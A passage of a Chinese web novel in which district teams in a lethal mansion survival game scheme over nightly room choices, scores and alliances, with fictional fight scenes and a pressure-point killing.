沈墨棠轻轻笑,病骨憔悴,弱柳扶风,仿若阴云笼罩下孤芳自赏的水仙,在料峭冷风中摇摇欲坠。
究竟是怎样的幻境折磨,能在短短十几个小时内,令好端端的一个人变成这样?
就算周彤再怎么迟钝,也意识到这无关乎沈墨棠的体质强弱,而是某种精神层面的伤害,被外化到躯体上。<
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p>“小九,你快变异成丧尸了。”周彤轻声提醒。
听着小六姐像是调侃的话,沈墨棠翻了个眼,也反应过来自己肯定面色十分难看。
好在今天本来就没打算隐瞒自己“接受惩罚”这件事,而且故意留在燕台上,等惩罚降临才让宋白河抱走。
目的还是想“示弱”,尽量降低东城在其他队伍心中的“威胁度”。
游戏呈现白热化,玩家之间的分差越来越大,光靠进[吉屋]拿分已经难以弥补这个差距。接下来的几天,分数低的队伍想要翻盘,唯一的希望就是“将对手淘汰”,直接清空对手的分数。
这样一来,【巫凌海庄园】会很快变成另一种游戏……像是“猫抓老鼠”。
沈墨棠继续往前,和小六姐还有宋白河一同到东城的座位坐下。过程中,宋白河瞪了王宇韬一眼,后者识趣地离开了,去和中年男待一块。
“小六姐……”
沈墨棠听周彤简要说了刚才司徒雅问了什么,怎么离开的,以及老仙儿和西城的决裂,还有他说了关于“裴峰”的事。
听完这些,沈墨棠迅速摇头:“不理他。”
对沈墨棠而言,今天已经基本确定自己[喜爱]和[厌恶]的对象了,所以暂时没必要因为想去弄清楚关于“裴峰”的事情,而出现暴.露自己角色的风险。
信息对其他队伍越隐蔽,东城的信息优势就越明显。
“嗯。”
周彤没有异议。
似乎是见东城三人短暂停下讨论,老仙儿见缝插针地打了招呼:“哎哟女娃儿,你们咋又回来咧?”
沈墨棠看了一眼,西城两人也密切注意这边。
“……”
她保持沉默。
看来,不止东城害怕其他队伍结盟,西城明显也不希望东城和南城结盟。
既然大家谁都提防着谁,保持这种各队独自作战的状态,对目前仍是满员在场的东城而言,肯定不亏。
就这么保持吧。
沈墨棠脑子已经快转不动了。
见东城不回应,老仙儿也没继续纠缠,静静抖腿。
这时中年男突然装模做样“唉”了一声,冲其他人指着地上的兵哥和秀老板:“这俩可都还没死呢,我刚刚探过了,还有呼吸。”
感受到小六姐投来的目光,沈墨棠小声告诉她:“给他们下药了,醒不过来的。”
周彤:“我以为你们把他们打死了?”
“没有。”
沈墨棠跳过这个话题。
确实,昨晚兵哥和秀老板毫无还手之力,沈墨棠和宋白河可以轻易杀了他们。
四方战、永夜城,是一个你死我活的地方,当你占有优势的时候,不对敌人凶狠,赶尽杀绝,等对方缓过气来,死的可能就是你,你的同伴,你的队友,甚至你所在的城区。
沈墨棠明白这个道理。
只不过,这样,就是对的吗?
或者说,这样,就能解决永夜城的困境吗?
玩家们一个个被从【太虚】中唤醒,然后一个个在永夜城“魂飞魄散”。
这件事就彻底无解吗?
沈墨棠神色凝重。
……
东城大本营,植物园。
“行啊你小子,爬树比猴子还灵光!”青九筒声音浑厚。
罗冰熟练从一颗榴莲树上滑落:“够了吗?筒子哥?”
青九筒身上的外套已经脱掉,两只袖子被捏得紧紧的做成一个口袋的样子,口袋里面鼓鼓囊囊,七八个榴莲齐齐整整躺在里面。
“我们只拿这东西回去的话……我已经看到八戒在哭了……”
106. 巫凌海庄园33
燕台上,几人一直待到南城的柯思思醒来,她和老仙儿一同将席炎抗走。
既然确定西城和南城没有“结盟”的意思,东城三人不想多待;西城两人也是同样的意思。
于是三方各自散开,各自去准备入夜的事情。
……
“是她。”
沈墨棠吹起刘海,露出确定的目光。
身旁的宋白河和小六姐同时看过来:“确定了?”
“嗯。”
沈墨棠昨晚身处[凶屋]且没摇铃,本来应该扣1分的,但山墙显示她的分数反而是加1分,从2变成3——证明昨晚她[喜爱]的人得分了,[憎恶]的人扣分了。
发丝落下,沈墨棠抬眼,瞥向某个垂花门上蚀了一半的长梁,摇摇欲坠,岌岌可危。
经过前几日的推断,沈墨棠已经将自己[憎恶]的人锁定在“西城中年男”和“北城秀老板”之中。
很显然,今天“西城中年男”没有遭受惩罚,证明他昨晚没有扣分。
至此,可以确定自己[憎恶]的角色,就是秀老板扮演的“卯”……
巫晓楠!
至于为什么会[憎恶]她……
沈墨棠收回目光,投向宋白河。
昨天已经确定,自己[喜爱]的角色是第三个晚上除“大块头”外的其他三个扣分者——宋白河也是其中之一。
如果真是他……巫乐安……
那么接下来,只要保证秀老板淘汰、宋白河得分,自己就能每天增加[喜爱]和[厌恶]的分数。
就算进了[凶屋]不摇铃,也能稳定加1分!
还剩三个晚上。
该采取什么行动呢?
继续保持吗?
沈墨棠左右活动僵硬的脖颈,脸上挂满殚精竭虑的疲惫感,眼窝深陷,发丝凌乱。
阴郁天光蒙着巫凌海庄园,仿佛散落的白绫,正一点点爬上房梁。
白绫的另一头,不知道拴着谁的脖颈。
不能冒险。
东城现在有优势,更加需要小心谨慎,步步为营。
“司徒雅。”沈墨棠终于再开口,问宋白河:“你打得过他吗?”
“啊?”
宋白河显然没料到会突然被这么问,迟疑地回望。
沈墨棠看进他眸子里,片刻,才移开视线,面色凝重,语气平静:“不行?”
“不一定。”宋白河顿了顿,也看向远处,似乎在脑子里认真想了想如果自己和司徒雅对上会是什么情形。
他一边抬手扩胸,一边说:“55开吧。”
“……”
沈墨棠下意识地看向小六姐。
小六姐一努嘴:“我能打所有人。”
然后她略带鄙夷地睨了宋白河。
宋白河:“我我我……64开!不,7……73开!”
小六姐没管宋白河,转向沈墨棠:“小九,怎么突然问这个?我们要打北城那个蘑菇头吗?”
沈墨棠摇摇头,随即想笑:“可能他会来打我们呢。”
“他?”
小六姐不屑地皱皱鼻头。
司徒雅肯定知道,昨晚兵哥和秀老板选了“丙”屋。
既然他们是在这个房间被淘汰的,依照司徒雅表现出来的性格特征,难免让人怀疑他今晚就会选择“丙”房间,企图反击。
说实话,沈墨棠在亲眼见到司徒雅后,才知道“沙包大的拳头”并不是夸张形容。
宋白河能打得过他吗?
如果不行……或者说,如果要付出很高的代价……那是不是可以选择避战?
放弃“丙”屋,主动去选其他房间。
这样不仅能够避开有可能的司徒雅,还能混淆昨晚到底是谁淘汰了兵哥和秀老板。
沈墨棠心中大致有了主意。
只不过,如果自己和宋白河不选“丙”屋,要选哪个呢?
没错的话,今晚场上将有4个人淘汰,还有8名玩家。
屋子还剩“甲”、“乙”、“丙”、“丁”、“戊”、“己”六个可选。
西城两人大概率是“甲”、“乙”一人一间;小六姐一直在“戊”,从第二个晚上至今没遇上其他人;剩下三个屋子“丙”、“丁”、“己”,里面有司徒雅、老仙儿、柯思思。
因为柯思思今天也受到惩罚了,所以柯思思昨晚大概率是和老仙儿一个房间。
而兜帽男昨晚和司徒雅一个房间。
沈墨棠用食指和中指揉了揉太阳穴,脑子里像是浮现出六个纸房子,八个戏偶,进行今晚的分房演示。
两个穿着白衬衫的男戏偶分别进了“甲”和“乙”;穿着黑衣的锅盖头戏偶进了“丙”;穿着东城校服的冷酷女戏偶进了“戊”。
大叔戏偶和小姑娘戏偶在“丁”和“己”之间徘徊。
齐刘海戏偶和穿着不合身的呢子西装的青年戏偶,要选择哪个屋呢?
微凉轻风拂过。
呼呼吹来湖水和草木的气息,夹杂着陈旧、枯寂的墙垣味道,浑然天成,破败萧索。
阴晴难定的天气,充斥一股将破未破的纠结感。
说实话,沈墨棠突然间有点羡慕小六姐了。
只要自身战力足够傲视群雄,那么在这种需要“暴力冲突”的游戏中,就可以无视很多情况。
就像小六姐简单粗暴的逻辑:只要把人全杀了,剩下的就是胜者。
想到这句话,沈墨棠的眼底闪过一丝不易觉察的困惑,或许连她自己都没觉察。
……
“老大,不是吗?”
范诺琪往嘴里塞着榴莲,用小指撩开鬓角散落的发丝,有些后悔为什么在开吃之前不先将发卡固定好。
她补充:“没错啊,只要小六姐把其他人都杀了,咱们就赢了!”
王潇也从打开的榴莲中取出一房,只是拿在手中:“哈哈,话是这么说没错,但永夜城如果是那么简单的地方,大庄家就不用那么苦恼了。”
“就是就是。”罗冰插话:“要说打架就能赢的话,得,那咱小六姐早就天下无双咯!”
“臭大饼,人家又没问你!”范诺琪往后仰头,像是翻了个大大的白眼。
“嘿,我说琪琪。”罗冰从地上跳起来,冲着范诺琪后背:“咱得论道论道,你现在吃的这榴莲也是咱……咱和七哥、筒子哥辛辛苦苦摘来的吧?怎么?吃水都得不忘挖井人呢!咱……吃榴莲总得不忘爬树人吧!?”
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>范诺琪冷哼一声,没有回应,只是一味往嘴里塞榴莲。
罗冰不依不饶:“哟?不理咱?你有本事不吃呗?”
“大饼!”
“好了好了……”眼见范诺琪要发作,王潇连忙打圆场:“琪琪,能这么快找到食物不容易了……还有罗冰,干嘛老是一见琪琪就开怼,好好说话不行嘛?早知道你们不对付就不让你们俩同时来四方战了。”
“哎哟老大冤枉啊……”
罗冰刚想伸冤,被王潇一个眼神瞪来,瞬间蔫了,小声嘀咕着:“那、那这不是她每次先不跟我我,嗯,好好说的嘛!……行吧。”
越说越小声,越说越小声,最后迎上旁边徐天然的偷笑,罗冰只能憋屈地抿着嘴。
各打一大棒后,王潇继续解释:“琪琪,你想啊,如果把其他人都打死就能赢,那东城能组我们这样一支队伍参加四方战吗?”
范诺琪咀嚼的速度慢下来,稍稍抬头,面露不解。
“我的意思是,假设每个人都……在城区的游戏里,把其他人都杀光,然后自己活下来。”王潇说着,神色一冷,“只剩下一个人,是没法参加四方战的。”
“同样的道理,你觉得在四方战里,把其他阵营的人都杀光,真的就能成事吗?”
“我觉得不行。”
说完,王潇咬了一小口榴莲,慢慢嚼着,咽下。
周围的米米、徐天然、罗冰,也都凑近过来。
王潇瞥了眼不远处躺长椅上呼呼大睡的邓向南,收回视线,继续道:“我曾经跟大庄家讨论过这件事,不止大庄家,还有其他庄家,城里也有其他人,比如斯旺……我应该也跟你们说过,我觉得永夜城设置的这些游戏、这些比赛、战斗,不是毫无意义的。”
顿了顿,王潇对周围一笑:“你们觉得呢?”
等了片刻,眼见无人回应,米米趁此机会问出自己的困惑:“不是纯粹为了折磨我们吗?”
几双目光都看向她。
米米舔了下嘴唇,眼中闪烁:“不是吗?那是为什么?”
王潇只是淡淡笑着,掰出一块榴莲肉,递给米米:“你觉得是为什么呢?”
“为……?”
“永夜城这么折磨我们,做了一整套城市规则,就为了让我们老老实实进行一个又一个的游戏,不然就得死。”王潇的目光温柔,定定注视米米:“米米,我之前问过你,你觉得为什么呢?”
“变态。”米米脱口而出。
她回答了当时王潇问这个问题时候,自己的答案:“我觉得永夜城的背后,有一个从不现身的组织,他们通过观看我们的游戏,对我们进行下注,就像赛马一样,用这种方式找乐子。”
罗冰、徐天然、范诺琪都露出微妙的表情。
王潇依旧是温柔的笑意:“就像我们看过的那些……日式大逃杀一样?”
米米想了片刻,点点头。
不是吗?那些日式、韩式、美式……反正在【太虚】中看到过的各种大逃杀类的影视文艺作品,都是因为背后有什么变态的富人,上层人士在看玩家生死博弈,就像传说暗.网里那些猎奇的,专门为了满足有钱人变态癖好的视频、频道。
永夜城,不是这样的地方吗?
107. 巫凌海庄园34
某偏院。
入门的桥厅,一间不起眼的破落小屋,有落满灰的土灶,有朽烂一地的木柜,有各种看不清原本形状的器具。
像是伙房,而且是给下人做饭的伙房。
“咿——”
半挂着的木门被推开。
仔细辨认的话,能发现这扇木门与破落小屋格格不入,是从院内另一个屋子拆来的。
灰冷的天光透进伙房,老仙儿当下跨进屋内,两手从腋下拖着席炎的上身,行动时摇摇晃晃,气喘吁吁。
门外,柯思思已经从惩罚中醒来,与老仙儿一同将席炎扛到这里。
她吃力抬着席炎的腿,在门口左右观望一阵,确认除了跟在身后的三只陶瓷娃娃外,四下都无人,于是脸色陡然一变,重重将席炎的腿往地上一扔,低喝道:“行了!别装了!这里没人!”
壮实的小腿立刻缩进屋内,生怕被人瞧见。
肿胀的眼睛微睁,席炎顶着鼻青脸肿的脸,发出一声长叹:“卧槽,差点死球了!”
老仙儿早就累虚脱,只说了句“关门”便跟着瘫坐到灶台边,脸色发白。
三个高大的陶瓷娃娃都跟进伙房后,柯思思便轻轻合上门扉,伙房内重回昏暗。
她看了眼老仙儿,继而踢了席炎的大腿,怒道:“有害健康,你到底多重?”
“卧槽!”席炎在地上“蛄踊”两下,声量尽量压低:“别乱踢啊!痛啊!”
“咋能被打成这样儿?”
老仙儿终于顺了气,口吻带着冷漠、困惑,还有些许不满和失望。
“唉……”
席炎撑着脏兮兮的地板,用体重掰动手臂关节,发出“咔哒”的可怕声音,“零散”的四肢慢慢复位,只不过各种那些又青又红的淤肿暂时是消不掉,包括大了一圈的脸也是。
对正常人而言,这应该疼得龇牙咧嘴。
但做完这些他却像个没事人一样,站起来活动身体,厚厚眼皮里露出的一道平静的目光:“老仙儿,沙包大的拳头见过吗?卧槽,我见过!”
老仙儿早已习惯这种对话:“甭瞎扯,北城那人真那么厉害咧?”
席炎做了个“看我现在什么样”的手势。
“你不至于一点都伤不到他,”老仙儿更加困惑,粉色凉鞋在地上抖得哒哒响,“那小哥啥路数?”
“该说……没路数。”
“没?”
“那人就是力气大!”席炎一边检查自己身体,一边抱怨着:“超级无敌大!就是……我都比不过,不不不,就我压根比不了!”
老仙儿眯起眼,惊异又困惑:“席炎,你很少这样说咧。”
“所以啊,你个老仙儿应该知道我是在说真的!卧槽,那人是真的猛……”席炎说着咬紧牙关,碰了碰右手。
他整只右手的指关节几乎都粉碎了,彻底报废。
“手劲儿大?”
“手?不是手劲那么简单……他就不是人……要么是练了什么邪功,要么就是TM打药了!”
席炎回想昨晚和北城司徒雅碰上的遭遇,不由得感到一阵窒息。
……
昨晚,“丁”屋。
席炎和司徒雅对上了。
“哥们好呀……哎哟卧槽!”
席炎刚想打招呼,一颗沙包大的拳头就迎面而来!
他条件反射抬手去挡,身体做出格斗架势,准备还击……
“咯~!”
抬起的左臂仿佛摆设,对方的拳劲仿佛没受到丝毫阻拦,直接贯上了脸!
席炎被打得失去平衡,踉跄后退,摆好的架势也散了。
“嘶……!”
左臂这才一阵痛楚,像条抹布一样抬都抬不起来,很快变得通红。席炎从牙缝间吸了口凉气,震惊、疼痛、慌乱爬上心头,他只知道刚才这下要不是抬手挡了,恐怕现在自己已经像条死狗躺在地上了!
什么拳头这么大威力?
胳膊里装气泵了吗!?
散乱的眼神斜瞟,能看到对方高大的身影紧跟着迫近,拦住了一部分光。
不行,不能再挨拳头了……
要主动出击!
席炎脚步轻跳,调动全身换了角度,早已准备好的右手从腰间抡出一记上勾拳,直冲对方下颚!
“啪!”
拳头被握住了!
被对方,被对方的左手,精准地握住了!
“呃……呃!”
不只是被握住,对方那钳子一样的粗壮手指,还牢牢扣进席炎的指缝中!
仿佛笨拙的食客用各种工具粗暴地撬开蚌壳、折开蟹腿……右手,被对方死死抓住了!
拳头被撬开,指间被侵入,被迫与对方的大手“十指紧扣”,像是在遭受某种古代的酷刑!
“卧槽呃啊啊啊!!”
一股钻心的痛楚淹没了席炎!
身体随着右手的扭曲,仰面向后弓了起来。
然后……
“——嘭!!!”
毫无阻挠的铁拳重重掼在脸上,只一下,席炎就两眼一黑,险些失去意识。
鼻梁骨断了的脆响直冲大脑。
不能……不能这样……要躲开……逃……
身体本能向后,脑袋本能避开……但……右手被彻底箍在那里,像是牢牢嵌在刑具里,根本无法挣脱。
更可怕的是,这个“刑具”还能动……
右手被拉扯着,拽着后退的身体重新向前,然后……
“——嘭!!!”
脸上又是重重一拳!
意识已经飞到九霄云外,身体彻底脱离了大脑的掌控。
“嘭!”、“嘭!”、“嘭!”……
一拳、一拳、一拳……
小小的屋子里,早已失去意识的席炎被司徒雅拎着右手,毫无防备的脸被无情铁拳暴揍,直到“咔哒”一声,右胳膊终于扛不住身体遭受的冲击,关节折断。
七窍爆血的席炎也彻底瘫死在司徒雅脚下,失去呼吸。
片刻,屋子里响起“叮铃铃”的铃铛声。
……
“要不是老子会点龟息和缩骨,现在已经在跟阎王喝茶了,卧槽!”
席炎讲述的语气里充满着后怕、恐惧,还有死里逃生的庆幸。
至于他的两名队友,老仙儿和柯思思,却是越听脸色越难看——他们认识席炎也不是一天两天了,很难能见到席
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炎被揍得这么惨,还怕成这样。
都说人在将死的时候,往往会爆发出更顽强的勇气。
但席炎现在的样子,明显是被打服了,只庆幸苟活。
黑暗的伙房内瞬间安静,席炎还有点不习惯:“怎么了你们师徒两?卧槽倒是说句话呀,现在怎么办?”
良久,老仙儿才咳嗽两声,幽幽道:“能咋办,只能避开他咧。”
柯思思忍了忍:“师傅,我……”
“咱可别意气用事。”老仙儿制止了柯思思的念头,抬头沉思,手中来来回回掐着数。
片刻,他又是一阵咳嗽,叹息道:“失算了……咱先不理北城,得先管管东西咧。还有咱分也不够,这两天得尽量拿分。”
说着,老仙儿用指头在灶台厚厚的灰尘上划着字:“再撑两个晚上,就定输赢。”
“老仙儿。”
席炎拧正了自己的脖子,连忙提醒:“你是不是算错了?今天第五天,今天、明天、后天,还有三个晚上呢!”
老仙儿摇摇头:“别傻了,最后一晚没用。”
“没用?”
“咳咳。”老仙儿又咳了,说:“要是分差太大,最后一晚是救不回来的。你想吧,玩家要是在第七天晚上死的话,天亮后分数并不会消失。”
席炎眼仁一转,毫无头绪:“啥?”
“好好听游戏规则咧!蠢驴!”
老仙儿气得气都顺了:“玩家只会在‘没选房’的时候被淘汰,懂吧?”
“你倒是说清楚……”
“席炎,说实话,你如果在城里遇上我,你活不下来。”柯思思打断了席炎,帮师父老仙儿把话说透:“游戏规则里说了呀,玩家在入夜前没选房的话,就会被淘汰,积分清零……也就是说,只要玩家选房了,不管夜里发生什么,天亮后是死是活……我们这几天都看到的,他们都会被陶瓷娃娃搬到燕台,墙上也有他们的分数。”
听了好一会,席炎才恍然大悟:“卧槽!所以最后一晚杀人没办法让人积分清零!”
“对了!”老仙儿和柯思思长叹一声,表情里略带一丝嫌弃。
“想主动淘汰人,把高分的人清零,只能在第七天之前动手。”柯思思总结:“不然一旦到了第七天晚上,就只能老老实实算团队总分了。”
老仙儿低低接道:“嘿,你就猜什么人会希望安安稳稳的过,别打架,到最后算总分咧?”
“什么人……?”
席炎找了个歇脚的地方坐下,想了半天,突然抬头:“得分高的人呗!”
“分高的人就会怕这两天晚上打架,万一自己被打残了,第二天选不了房,那分就全掉光了!”
“是咧。”
老仙儿点点头:“那分儿低的呢?”
席炎目光逐渐凝固起来:“分数低的会想打架,尽早干掉高分的人……他们会主动进[凶屋]。”
黑暗的伙房沉寂而压抑,南城三人各坐在一角,老仙儿坐在灶台、席炎坐在墙角、柯思思守在门边。
三个高大的陶瓷娃娃站在中间,犹如三根撑着房间的黑色立柱。
老仙儿一拍大腿:
“该找那两个9分的麻烦咧。”
108. 巫凌海庄园35
“你们在这里等,别乱跑,别让人发现咯。天黑前我要没回来,就按说好的来。”
老仙儿叮嘱完,重重咳了两声,起身离开伙房。
留下满脸思虑的柯思思,以及毫无想法的席炎,两人错开视线。
……
入夜。
巫凌海庄园沉溺黑暗。
烛光亮起,朦胧中出现六个纸扎屋,仿若凭空悬浮,固定不动。
一道道魂灵飘荡其间,隐隐透出绿光,隐入漆黑,再慢慢显现。
无形的存在靠近,冰冷的吐息收缩,目光透过简陋的花窗,凝视“乙”屋子里的发生。
“乙”屋,有两个人。
广播:“玩家请注意,你们入住了凶宅!只有最先摇响铃铛的人能够逢凶化吉!”
西城的中年男微微低头,不耐烦地揉着眉心,态度不屑而冷漠:“怎么会有你这样的……我们不是说好了吗,别选甲乙,别选甲乙听得懂吗?你现在是什么意思?”
在他对面,屋子的另一侧,是南城的柯思思。
这位身材娇小的女孩没展露出半点表情,甚至连屋顶的铃铛都没在意,只是死死盯着中年男。
似乎,她嘴角微微挑了下。
“别以为不说话就没事,”中年男侧扬起脑袋,用中指捋着自己的眉毛,眼睛还是闭着,轻蔑地威胁:“柯思思对吧?妹妹,我不知道你们在搞什么鬼,你该不会是被那老头卖了吧?”
柯思思淡淡开口:“你在胡说什么?”
中年男半睁开眼:“啊?不是吗?你倒是说说,为什么选这个屋子?”
柯思思:“哦。”
“哦?”中年男被这莫名其妙的回应逗笑了,不由得换一个姿态,舔了嘴唇,整理衣衫,站得板正:“柯思思,我知道你这个朱三筒的名声很响。话说,你也参加过好几届四方战了,大家不是说你有‘厌蠢症’吗?你是个玩脑子的吧?不过,到现在你也应该明白八筒,可是体力游戏!”
顿了一下,柯思思没有回应。
中年男满脸戏谑:“还被老仙儿发落到这儿来了,我感觉你不像是厌蠢啊,倒像是有点真蠢……哈哈哈,你今晚必须说清楚为什么选乙房间。是想干嘛?硬来劝我们合作吗?”
“劝你们还是别白费功夫了。”
说着,中年男又是一阵冷漠嬉笑,慢悠悠地抬了抬胳膊,看得出白衬衫底下藏着结实的肌肉,力量感十足。
他瞥了眼屋顶的铃铛,犹如窥探囊中之物。
“废话真多。”
柯思思突然冒了句:“你几分?”
中年男变了表情,眼神一冷:“妹妹,你这态度不对哦。”
“有7分以上吗?至少7分?”柯思思兀自问,目光从始至终没移开过。
望着她那张小巧精致的脸蛋,挂着那副不知天高地厚的表情,中年男莫名一阵火大,冷道:“柯思思,朱三筒妹妹,我现在可以打死你哦?”
口吻已经充满了不爽与威胁。
先前被南城老仙儿指挥着干体力活受的那些气,仿佛在这一刻都溢于言表。
柯思思却完全不在意似的,只是深深吸了口气,继续问:“有吗?”
中年男不说话了。
他抿着嘴,眼中怒意渐起,斜起脑袋看柯思思,往前逼近她。
一步、两步、三步。
两人之间触手可及,那咄咄逼人的目光和姿态令柯思思嫌恶地将脸撇向一旁。
中年男冷漠地抬起左手,一点点靠近眼前女孩的脸,指尖几乎贴上发丝……夜晚,没有陶瓷娃娃的约束,同处一室的玩家回归最原始的斗争。
不管白天的游戏内容是什么,只要在夜晚从物理上将对方制服,甚至结束对方的生命。
那么局势就会朝有利于自己的方向发展。
威胁意味极强的指尖,碰上了细柔的发丝。
柯思思巧目一凛,抬手拨开。
中年男顺势去抓她的手……
“嗯?”
自信一抓,却抓了个空,而柯思思的小手柔弱无骨,犹如一条白蛇绕过他的胳膊,捏起五指在他手肘处猛地一“啄”!
中年男瞳孔扩张,只感到左手像是被拔掉电源的机器般,忽然就没了力气,软了下去。
没等他惊诧,柯思思的小手又往他胸口两侧的肩胛处迅速点过,再重重击打他的心窝……
浑身力气瞬间消散,身体感觉不到四肢,四肢也感觉不到身体,各归各的管。
双腿失去支撑。
中年男带着难以置信的表情,一屁股重重坐到地上。
震惊,错愕,不解……复杂的情绪瞬间冲进大脑,思维通道彻底堵塞,根本反应不过来刚刚发生了什么!
怎么会?
这小妹妹使得什么招数?
怎么浑身突然就失去力量,仿佛彻底瘫痪,连痛楚都感受不到。
怎么回事?
这人她……
中年男胸都挺不直,脑袋也耷拉着,只能努力抬起两颗眼珠子,语气震惊:“你做了什么!?你……你怎么还会……你不是玩脑子的吗?”
“哦。”
柯思思两手的大拇指挂回牛仔短裤的口袋里,侧脸向下斜视,脸上逐渐露出鄙夷的神色:“我就是讨厌你们这种人,自以为是,狂妄自大,愚蠢至极……随随便便给人贴了个标签,就觉得那个人就应该是自己想象的那样……”
中年男张开的嘴巴逐渐脱力,慢慢合不上。
他双目中的震惊越来越浓:
她怎么……突然间这么多话?
跟变了个人一样!
“每个看到我的人都觉得我应该是玩脑子的,玩心理的那一卦……唔,也算吧,我玩的……也算心理吧……”
柯思思嘟起嘴,斜抬起头,看向百格窗,耸耸肩,继续自言自语:
“你们非要这么觉得我也没办法,因为我外表看起来就是很弱啊。”
“小小的一只对吧?弱不禁风的样子,没什么伤害性,被风一吹就能飞走……哦,师父是这么说的。唔,师父教我要利用好自己的外表,别人觉得你是玩脑子的就随他们这么想,反正你也不亏什么。”
她叹了口气,放松双肩:
“呐呐,我也不知道怎么就有人开始说我‘厌蠢症’了。反正你们都这么觉得,就随你们咯,我懒得动脑子,也没必要解释啊……唔,啧,但是啊,我真真真真的是讨厌你们这些傻不啦叽的蠢货,天天只会胡乱嚷嚷,别人说什么你们就信什么,别人让你们看到什么,你们就只能看到什么,别人叫你们生
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气你们就生气,别人叫你们怀疑你们就怀疑……你们是真的没脑子吗?唔?”
中年男身体的麻痹逐渐爬上脖子,爬上脸部,下巴耷拉,嘴角犹如痴傻般慢慢流出口水。
“呃额~真恶心~”
柯思思瞥见那条坠落的液体,嫌恶地抽搐脸颊,干脆抬起一脚将中年男踹到!
中年男的口水呛回喉咙里,很快便神经反射似的咳了两声,全身依旧动弹不得,连声音都发不出。
“你可能不相信……唔,反正每个中招的都不相信我用的是点穴。”
柯思思打了个大大的哈欠,抬起双手伸了懒腰,嘴里不停:“师父教我认穴,手法是我自己研究的,一开始搞死了好几个人,后面慢慢懂分寸了。唔,啧……唉,反正后面也会搞死人。”
“但是跟一开始不一样,一开始是不小心搞死的,后面是我故意的,你应该懂的吧?”
中年男逐渐涣散的目光里透出不可思议:
点穴?
这个朱三筒是玄幻武侠世界穿越来的吗!?
她到底是个什么东西!?
“搞死人倒是无所谓啦,呐呐,但是你可以跟我说说,你到底是什么角色,得了多少分吗?”
柯思思说着,低头看向地上的中年男,却没有凑近,只是高高站在他身旁,用腿踢了踢他:“喂,还能说话吗?”
中年男的眼皮慢慢合上。
“唔?好像下手又重了……”柯思思的声音逐渐远离:“心脏的血出不去,脉络都萎缩坏死……下次得注意,还是不能随便点鸠尾穴,太容易出事……啧,膻中穴也不行,上次就是这里坏事的……但中庭穴又没效果,唔,玉堂、华盖、璇玑、天突……”
“哦哦,差点忘了紫宫穴!不对不对,应该是俞府穴吧?得好好想想,有机会再好好问问师父……”
在柯思思的碎碎念中,中年男彻底翻起白眼,眼皮脱力合上,呼吸逐渐停止。
“邦”、“邦”、“邦”……
黑夜中的梆子声响起,柯思思将长椅拉到屋中央稍偏一些的位置放好,然后绕到墙边,助跑两步蹬着长椅跳起,拨响了铃铛。
“叮铃铃~”
她稳稳落地,铃铛消失。
柯思思转向那面刻满古文字的雕壁,双手合十:“大慈大悲菩萨保佑,师父今晚平安无事……”
她一边祈愿,脑子里一边精准浮现出前几天山墙上的信息——
第二天:
【子:1】【丑:1】【寅:0】【卯:1】【辰:1】【巳:1】【午:1】【未:2】【戌:1】【酉:2】【申:2】【亥:3】
第三天:
【子:0】【丑:3】【寅:2】【卯:4】【辰:3】【巳:2】【午:1】【未:3】【戌:0】【酉:4】【申:4】【亥:5】
第四天:
【子:0】【丑:5】【寅:5】【卯:6】【辰:3】【巳:4】【午:2】【未:2】【戌:1】【酉:7】【申:7】【亥:5】
第五天:
【子:0】【丑:7】【寅:7】【卯:6】【辰:5】【巳:3】【午:3】【未:3】【戌:0】【酉:9】【申:9】【亥:7】
“有几个人的分倒是涨得飞快呐~”
109. 巫凌海庄园36
“邦”
“邦”、“邦”、“邦”……
寂静深夜里,梆子声传得很远很远,没有触及任何边界。
六间发光的纸房子孤零零的,仿佛随时都会被揉碎毁灭,烧成灰。
黑暗中涌现无数悉悉簌簌的呓语,细碎呢喃,错乱无序的没有章法的声音,最终全都汇聚成一声轻柔叹息。
无形的存在目光流转,视野收缩,再放大,黑暗变成红色、黄色、绿色、蓝色,又变回黑色。
透过小小的百格窗,看向旁边的“甲”纸房子。
里面是西城的王宇韬,他独自坐在长椅上,侧靠着墙,一条大长腿搁在长椅另一边,枕着膝头假寐。
视线再转向另一侧,经过“乙”,看向“丙”屋。
“嘭!”、“嘭!”、“嘭!”
硕大的铁拳轰击着实木房门,左拳、右拳、左拳一下一下来回交替。
木屑横飞,所有坚硬的尖刺都被结实的拳头碾成齑粉,不断散落。
片刻,司徒雅停了下来,房间里只有他独自一人。
他张嘴呼出浊气,锅盖头下眼神无比冷漠,紧盯着被轰出一个大洞的木门。
洞内是灰冷的水泥墙。
木门外是灰冷的水泥墙。
“嘭!”
司徒雅一拳打在洞中,重重打在水泥墙上,发出沉闷的声音。
实心的。
百格窗外,视野移动,继续投向下一个纸屋“丁”。
粗一看,里面没有人,只不过墙上的多宝架却奇怪地挪到窗边;再透过多宝架的空隙一看,席炎独自躲在不起眼的墙角,长椅拦在身前,此时正扣着鼻子,擤出一鼻子淤血来。
他嘴里还碎碎念叨着:“卧槽,这两个老古董……小古董!不信我……哼!”
“说了就是不听……肯定是有人能从外面看到……哎哟槽,这血怎么止不住了……”
他仰起脑袋,顺着墙壁瞥向百格窗,正好是视线的死角。
“好家伙,就不信这样你还看得到?”
窗外,黑暗中的视野继续移动,投向下一个纸屋“戊”。
周彤躺在长椅上,双手枕着脑袋,双腿交叠搁在多宝架上,静静的一动不动,呼吸平稳,像是睡着了。
下一个,是最后一个有亮光的纸屋。
“己”。
对影加一人。
沈墨棠、宋白河、“老仙儿”辛乙初。
……
十分钟前。
“摇铃。”
沈墨棠没有半句废话,直接叫宋白河摇铃铛。
“己”屋内有三个人,她自己、宋白河、老仙儿。
很明显,老仙儿独自一人,凭他接近五六十岁的身体素质,不可能打得过她和宋白河。
今晚“己”屋的铃铛必然是东城囊中之物。
宋白河正打算搬长椅,却被老仙儿突然的一声“慢”叫住。
沈墨棠和宋白河对视一眼,然后看向老仙儿,想知道这个南城穿粉毛衣的奇怪老头打算耍什么花招。
他难道还觉得能够1V2,靠耍嘴皮子或者怎么样,让自己“逢凶化吉”吗?
沈墨棠有些烦躁,她并不打算跟老仙儿耗太多时间,想抓紧时间休息。
察觉到沈墨棠的不耐烦,老仙儿神色慌张后退一步,背靠着墙,迅速隐去眼神里的防备,转而摆出一副怡然的神色:“别急啊二位,先听老人家说句话儿咧。”
沈墨棠和宋白河都没有搭话,宋白河仍准备继续搬长椅。
老仙儿扯了扯嘴角,眼睛一提溜,转到沈墨棠脸上:“哎哟,女娃儿这脸色不好咧?”
经历过连续几次的“幻象惩罚”,此时的沈墨棠相比刚进游戏的时候,确实可以称得上“形容枯槁”,苍白的面色仿佛侵在水中多年的树皮。
老仙儿顿了顿,继续:“咱就劝,还是得你摇铃铛……”
